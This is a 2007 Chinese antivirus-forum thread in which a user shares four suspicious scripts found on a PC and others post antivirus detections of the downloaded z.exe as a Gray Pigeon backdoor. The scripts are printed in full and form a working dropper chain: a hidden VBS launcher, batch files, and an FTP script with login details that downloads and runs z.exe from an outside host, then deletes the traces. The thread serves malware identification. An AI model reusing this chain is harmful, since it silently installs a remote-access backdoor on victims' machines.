根据可疑脚本找到的EXE...C56E39

显示全部楼层 · 发表于 2007-7-27 11:00:30

在C:\找到可疑脚本4个
a.bat
=============
del c:\run.vbs
del c:\a.bat
=============

ff.bat
=============
ftp -s:c:\gz
c:\aa.exe
del c:\gz
cmd /c c:\a.bat
del c:\ff.bat
=============

run.vbs
=============
CreateObject("WScript.Shell").Run "cmd /c c:\ff.bat",0
=============

gz
=============
open a4um.3322.org
tat
123
binary
get z.exe c:\aa.exe
bye
=============

下载路径：a4um.3322.org\z.exe
卡巴报：
已检测到: 木马程序 Trojan.Win32.Agent.ast 文件: C:\Documents and Settings\SYSTEM\桌面\z.exe

显示全部楼层 · 发表于 2007-7-27 11:02:00

显示全部楼层 · 发表于 2007-7-27 11:02:38

F:\z[1].exe.rar:<RAR>\z.exe : is suspected of Trojan-Spy.Banker.68

显示全部楼层 · 发表于 2007-7-27 11:05:15

费尔报2007年的灰鸽子

微点:
木马名称:Trojan.Win32.Agent.gox

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\RAR$EX00.532\Z.EXE
是木马程序!
已成功阻止其运行,是否要删除此文件?

显示全部楼层 · 发表于 2007-7-27 11:06:11

Trojan horse name:Trojan.Win32.Agent.gox

Program:
E:\SOFT_KILLER\Z[1].EXE\Z.EXE
Is Trojan horse program!
Successful in stopping running, Delete the file?

显示全部楼层 · 发表于 2007-7-27 11:08:43

z.exe.rar
  [0] Archive type: RAR
  --> z.exe
   [DETECTION] Contains suspicious code HEUR/Crypted

显示全部楼层 · 发表于 2007-7-27 11:09:47

avast挂

显示全部楼层 · 发表于 2007-7-27 11:11:10

北京江民新科技术有限公司

扫描引擎 10.00.650
病毒库日期 2007-07-26
更新日期 2007-07-27

扫描目标 C:\Documents and Settings\Administrator\桌面\z.exe

开始时间 2007-07-27 11:11:17

在 C:\Documents and Settings\Administrator\桌面\z.exe 中发现 Backdoor/Huigezi.2007.teq 病毒, 已删除
正常结束。

扫描结果:
               文件数 :656                               病毒体 :1
               删除 :1                                  解毒 :0
扫描速度(千字节/秒) :29238                            扫描时间 :00:00:07
扫描文件速度(个/秒) :93

显示全部楼层 · 发表于 2007-7-27 11:18:57

金山

显示全部楼层 · 发表于 2007-7-27 11:21:25

这鸽子好像发过了,重复的吧

[病毒样本] 根据可疑脚本找到的EXE...C56E39

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源